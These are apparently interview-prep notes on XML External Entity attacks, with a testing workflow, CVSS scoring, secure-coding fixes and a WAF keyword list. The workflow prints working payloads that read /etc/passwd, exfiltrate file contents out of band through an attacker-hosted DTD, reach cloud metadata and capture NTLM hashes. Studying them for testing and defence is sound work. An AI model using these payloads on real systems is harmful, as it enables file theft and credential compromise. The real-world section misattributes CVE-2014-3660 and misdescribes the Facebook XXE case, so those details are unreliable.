

XML External Entity (XXE) — Interview Prep Notes

1. Logical Description

- XML parser configured to resolve external entities/DTDs → attacker-supplied XML defines entity referencing external resource (file/URL/parameter entity) → parser resolves it, disclosing content or triggering SSRF.
- Root cause: parser trusts DTD/entity declarations in untrusted XML input.
- Taint model fit: source (XML input) → sink (entity resolver/parser) → missing sanitizer (DTD disabled / external entities disabled).

2. OWASP / CWE

- OWASP Top 10 2021: **A05:2021 – Security Misconfiguration** (moved from A04:2017-XXE, now folded in).
- OWASP API Security Top 10: API8:2023 – Security Misconfiguration.
- CWE-611: Improper Restriction of XML External Entity Reference.
- Related: CWE-827 (Improper Control of Document Type Definition), CWE-776 (XML Entity Expansion / Billion Laughs — DoS variant).

3. Common Variants

- **Classic XXE** — direct entity resolves local file (`file:///etc/passwd`).
- **Blind/OOB XXE** — no direct output; exfil via out-of-band DNS/HTTP (Collaborator/interactsh) or parameter entities + DTD on attacker server.
- **Error-based XXE** — force parser error to leak file content in error message.
- **XInclude attack** — when attacker controls only a data value (not full XML doc), use XInclude namespace instead of DOCTYPE.
- **SSRF via XXE** — entity URI points to internal service/cloud metadata endpoint.
- **XXE via file upload** — DOCX/XLSX/PPTX/SVG/ODT (zip-based XML formats), PDF-XML hybrids.
- **Billion Laughs / Quadratic Blowup** — entity expansion DoS, not data exfil.
- **Parameter entity XXE** — used when general entities blocked/filtered; needed for OOB exfil.

4. Attack Surface / Entry Points

- ☐ Direct XML API endpoints (SOAP, REST accepting `Content-Type: application/xml`, `text/xml`)
- ☐ File upload accepting XML-based formats: DOCX, XLSX, PPTX, ODT, SVG, RSS/Atom feeds
- ☐ SAML/SSO assertions (XML-based auth)
- ☐ Import/export features (config import, sitemap upload, GPX/KML geodata)
- ☐ Legacy SOAP web services, WSDL processing
- ☐ XML-RPC endpoints
- ☐ PDF generators/parsers embedding XML
- ☐ Any third-party lib parsing XML server-side (image metadata via SVG, office doc converters)
- ☐ Content-Type coercion — JSON endpoint accepting XML if `Content-Type` switched (worth testing even undocumented)

5. Technical Testing Workflow

Step 1 — Identify XML input points

- Verify: which endpoints accept/parse XML.
- Manual: intercept traffic, look for `<?xml`, SOAP envelopes, file uploads with XML-zip formats; try changing `Content-Type` to `application/xml` on JSON endpoints.
- Burp: Proxy history filter by content-type; Repeater to mutate Content-Type.
- ZAP: HUD/History tab, same content-type pivot.
- Nuclei: generic XML-endpoint fingerprint templates (limited value here — mostly recon, not detection).

Step 2 — Baseline DOCTYPE injection (in-band)

- Verify: parser resolves external entities at all.
- Manual: inject

```
<?xml version="1.0"?>
  <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
  <foo>&xxe;</foo>
```

- Burp: Repeater, send, check response for file content/parser error.
- ZAP: Manual Request Editor same payload.
- Nuclei: yes — existing `xxe-*` templates in nuclei-templates (network/http, generic file-read probes); custom template easy to write with `matchers` on known file signature (e.g., `root:x:0:0`).

Step 3 — Blind/OOB confirmation

- Verify: entity resolution happens even without reflected output.
- Manual:

```
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://COLLAB_URL/xxe">]>
<foo>&xxe;</foo>
```

- Burp: Collaborator client — generate payload, poll for DNS/HTTP interaction.
- ZAP: OAST via built-in Callback or external interactsh, manual polling.
- Nuclei: yes, OOB XXE templates use `interactsh` integration natively — good fit.
- Why: proves resolution when direct file read blocked/no output channel.

Step 4 — Parameter entity + external DTD (bypass general entity filtering)

- Verify: whether app blocks general entities but allows parameter entities.
- Manual: host external DTD on attacker server:

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://COLLAB_URL/?x=%file;'>">
%eval;
%exfil;
```

Victim payload:

```
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker/evil.dtd"> %xxe;]>
```

- Burp: host DTD via Collaborator or simple HTTP listener, Repeater to send victim payload.
- ZAP: same pattern, manual DTD hosting.
- Nuclei: custom template needed (multi-stage OOB chained exfil not in most public templates).

Step 5 — Error-based exfil

- Verify: whether verbose parser errors leak file content.
- Manual:

```
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval; %error;
```

- Burp/ZAP: Repeater/manual, inspect stack trace/error response.
- Nuclei: possible with regex matcher on error patterns.

Step 6 — File-upload vector (DOCX/XLSX/SVG)

- Verify: office/image converters process embedded XML with external entities.
- Manual: unzip DOCX, inject entity into `word/document.xml` or `[Content_Types].xml`, rezip, upload.

- Burp: Extension (e.g., "XXE Injector" or manual repackaging via CLI + upload via Repeater).
- ZAP: manual upload via Request Editor.
- Nuclei: not well suited (needs file crafting, not HTTP-only template).

Step 7 — SSRF pivot via XXE

- Verify: entity URI reaches internal-only services/cloud metadata.
- Manual: `SYSTEM "http://169.254.169.254/latest/meta-data/"` or internal hostnames.
- Burp/ZAP: Repeater/manual + Collaborator to confirm callback if response not reflected.
- Nuclei: yes, cloud-metadata XXE templates exist.

Step 8 — DoS variant (Billion Laughs) — only if scope allows, high caution

- Verify: nested entity expansion causes resource exhaustion.
- Manual: nested `&101;` chain entities (classic billion-laughs payload).
- Generally avoid in prod bug bounty unless explicitly in scope — flag as theoretical instead of executing.

6. Evidence to Collect

- Full request/response pair with injected DOCTYPE/entity.
- File content disclosed (redact sensitive parts in report) or Collaborator/interactsh interaction log (timestamp, source IP, DNS/HTTP hit).
- Screenshot of parser error revealing library/version (helps CVE mapping).
- For SSRF pivot: internal response body/metadata retrieved.
- Burp Collaborator poll results as proof for blind cases.

7. Good PoC

- Minimal reproducible payload + step-by-step request.
- Show actual sensitive data retrieved (e.g., `/etc/passwd` snippet, AWS metadata creds) — but redact before external disclosure per program policy.
- Include OOB proof (Collaborator interaction) when in-band not possible.
- State impact explicitly: "read arbitrary files" / "SSRF to internal admin panel" / "cloud credential theft."

8. Attack Chains

- XXE → local file read → source code disclosure → secondary vuln discovery (hardcoded creds, other endpoints).
- XXE → SSRF → cloud metadata → IAM credential theft → cloud account takeover.
- XXE → SSRF → internal service (Redis/Jenkins/Consul) → RCE.

- XXE → blind OOB → NTLM hash capture (Windows, via UNC path `file://attacker-smb/`) → relay/crack.
- XXE in file upload/conversion pipeline → chained with insecure deserialization if converter deserializes objects.

9. Common False Positives

- Generic XML parse errors unrelated to entity resolution (malformed XML, not exploit).
- Firewalled outbound → no Collaborator hit ≠ not vulnerable (could be network-blocked, not parser-safe). Must confirm via error-based fallback before ruling out.
- WAF/gateway sanitizing DOCTYPE before reaching app — false negative territory, not FP, but often misreported as "not vulnerable."
- Client-side XML parsing (browser DOMParser) mistaken for server-side XXE — client-side has no file-system access, different risk (XSS-adjacent, not XXE).

10. Prerequisites for Exploitability

- App/library parses XML with DTD processing enabled.
- External entity resolution not disabled at parser config level.
- Attacker controls XML input (directly or via embedded doc format).
- For file-read impact: parser has file-system read permission to target path.
- For OOB: outbound network egress allowed from app server.

11. Attacker Achieves

- Arbitrary local file read (config files, source code, SSH keys, `/etc/passwd`).
- SSRF — pivot to internal network, cloud metadata, internal admin interfaces.
- Denial of Service (entity expansion).
- Remote Code Execution (rare, protocol-dependent — e.g., PHP `expect://` wrapper, Java `jar:` deserialization chains).
- Credential/token theft via cloud metadata or NTLM hash capture.

12. CIA Impact (by variant)

Variant	Confidentiality	Integrity	Availability	Example CVSS v3.1 Vector
Classic file-read XXE	High	None	None	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Blind/OOB XXE	High (indirect)	None	None	AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
SSRF-pivot XXE	High	Low–High (if internal RCE reached)	Low	AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
Billion Laughs (DoS)	None	None	High	AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
RCE-chained XXE	High	High	High	AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

13. Typical CVSS Severity/Vector

- Base range: **Medium–Critical (5.3–9.8)** depending on variant/reachability.
- Classic in-band file read: ~7.5 (High), AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
- SSRF/RCE-chained: 9.1–9.8 (Critical), scope changed (S:C).
- Blind XXE often scored slightly lower (AC:H) since exploitation requires OOB channel.

14. Business Impact (Financial App Context)

- Disclosure of source code/config → hardcoded DB creds/API keys → downstream breach.
- SSRF to internal banking core/payment gateway → transaction manipulation risk.
- Cloud metadata theft → IAM privilege escalation → full environment compromise.
- Regulatory: PCI-DSS (cardholder data exposure), GDPR (PII in leaked files), RBI/SEBI guidelines (India fin-sector) — mandatory breach disclosure, fines.
- Reputational: XXE in SOAP-based core banking/legacy systems — common in fintech due to legacy XML-heavy integrations (SWIFT, ISO 20022 messaging).

15. Indicators/Signals

- Endpoints accepting Content-Type: application/xml / text/xml, SOAP.
- File upload accepting DOCX/XLSX/PPTX/SVG/ODT/GPX/KML.
- Verbose XML parser errors in responses (stack traces mentioning SAXParseException, DocumentBuilder, libxml).
- Legacy SOAP/WSDL services, older XML libraries (pre-hardened defaults) — Java (pre-JAXP secure defaults), older libxml2, old lxml in Python.
- Old Struts/Spring/Jackson-XML/Xerces versions matching known-XXE CVEs.

16. Root Cause (Code Level)

- Java (classic vulnerable):

```
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// missing: dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(untrustedInputStream); // XXE
```

- Python (lxml, vulnerable default pre-mitigation / libxml2 <2.9):

```
from lxml import etree
tree = etree.parse(untrusted_file) # resolve_entities defaults matter by version
```

- .NET (vulnerable, pre-.NET-4.5.2 default or explicit misconfig):

```
XmlDocument doc = new XmlDocument();
doc.XmlResolver = new XmlUrlResolver(); // enables external entity resolution
doc.Load(untrustedStream);
```

- PHP (libxml):

```
$doc = new DOMDocument();
$doc->loadXML($untrustedXml); // LIBXML_NOENT / default entity loading enabled pre-8.0
```

- Common thread: DTD processing / external entity resolution not explicitly disabled; parser defaults trusted without hardening.

17. Remediation — Secure Coding

- **Disable DTDs entirely** wherever possible (safest — most apps don't need DTD support).
- Java: `dbf.setFeature("...disallow-doctype-decl", true)` or `XMLConstants.FEATURE_SECURE_PROCESSING`.
- Python lxml: `etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)`.
- .NET: `XmlResolver = null` on `XmlDocument` / `XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit`.
- PHP: `libxml_disable_entity_loader(true)` (pre-8.0), avoid `LIBXML_NOENT`.
- Prefer data formats without entity concept: JSON where feasible.

- Use vetted, updated XML libraries (defused libs — e.g., `defusedxml` in Python).
- Principle: allow-list minimal parser features, deny-by-default for DTD/external entities.

18. Compensating Controls (if immediate fix not possible)

- WAF rules blocking `<!DOCTYPE`, `<!ENTITY`, `SYSTEM`, `PUBLIC` in XML payloads.
- Network egress restrictions from app tier (block outbound to internal-only ranges/metadata IP `169.254.169.254`).
- Run XML-processing service in isolated/sandboxed container, no filesystem access to sensitive paths.
- Least-privilege service account for parsing process (can't read `/etc/passwd` -equivalents or key material).
- Rate-limit/monitor XML endpoints for anomalous DOCTYPE-bearing traffic (SIEM alert).

19. Recurrence — Signals About SDLC/Security Posture

- Indicates missing secure-parser-configuration baseline/shared library — same class of gap as systemic IDOR (per app-specific authorization logic reinvented each time).
- Suggests no centralized XML-processing wrapper/utility enforcing safe defaults org-wide.
- Points to outdated dependency management (old XML libs with insecure defaults not patched).
- Absence of SAST rule coverage for XML parser instantiation patterns.
- Systemic risk framing: one insecure shared XML util used across services = compounding risk across product suite, same as IDOR without object-level authorization library.

20. Upstream Improvements

- Semgrep taint-mode rule: flag `DocumentBuilderFactory` / `XMLInputFactory` / `SAXParserFactory` instantiation without secure-feature calls; flag `lxml.etree.parse` / `fromstring` without `resolve_entities=False`.
- CodeQL: dataflow query — untrusted source → XML parser sink lacking safe-config guard.
- Shared wrapper library: single hardened `SafeXmlParser` utility mandated org-wide (mirrors IDOR shared-authz-library strategy).
- Framework-level: adopt frameworks with secure-by-default XML handling (modern JAXP defaults since Java 8u_ hardening, .NET Core defaults safer than .NET Framework).
- Design checklist item: "Does this endpoint parse XML? If yes, DTD/external entities explicitly disabled?" — mandatory in threat-model/design review.
- CI dependency scanning: flag outdated XML libs with known XXE CVEs.
- Staged rollout: WARNING → BLOCKING for XXE-pattern SAST findings, diff-aware scan on XML-parsing code changes.

21. Sample Triage Response

Confirmed — the `/api/v1/import` endpoint parses attacker-supplied XML with external entity resolution enabled, allowing arbitrary local file disclosure (verified via read of `[REDACTED path]`) and out-of-band confirmation via Collaborator interaction [timestamp/log ref]. Classified as XXE (CWE-611), OWASP A05:2021. Severity: High (CVSS 7.5, `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`). Escalating to engineering for immediate DTD-disable fix; recommend WAF rule as interim compensating control. PoC and full request/response attached.

22. Sample Developer Remediation Note

Issue: XML parser at `[class/file/line]` resolves external entities/DTDs from untrusted input → arbitrary file read/SSRF (CWE-611). **Fix:** Disable DTD processing and external entity resolution at parser initialization — see secure config for [Java/.NET/Python/PHP, per stack] above. Do not rely on input sanitization/blacklisting `<!DOCTYPE` strings — disable at parser-feature level. **Verify:** Retest with original PoC payload — no file content/OOB callback should be observed. Add negative test case to CI suite. **Reference:** Adopt org shared `SafeXmlParser` wrapper (if available) instead of raw parser instantiation.

23. Real-World Example

- **Facebook XXE (2014)** — Reginaldo Silva found XXE via a Word-document-processing pipeline (mobile text uploader converting via OpenOffice); parameter-entity + external DTD technique exfiltrated data OOB despite no direct output; awarded one of Facebook's largest bug bounties at the time (~\$33,500) — RCE-adjacent severity due to internal SSRF reach.
- **CVE-2014-3660** — Zimbra Collaboration Suite XXE via Autodiscover servlet, arbitrary file read.
- Common recurring pattern in bug bounty: XXE via **SAML SSO assertion parsing**, **SVG profile-picture upload**, and **DOCX/PPTX-to-PDF conversion services** — frequently reported across programs (HackerOne/Bugcrowd) due to legacy office-conversion libraries with unsafe XML defaults.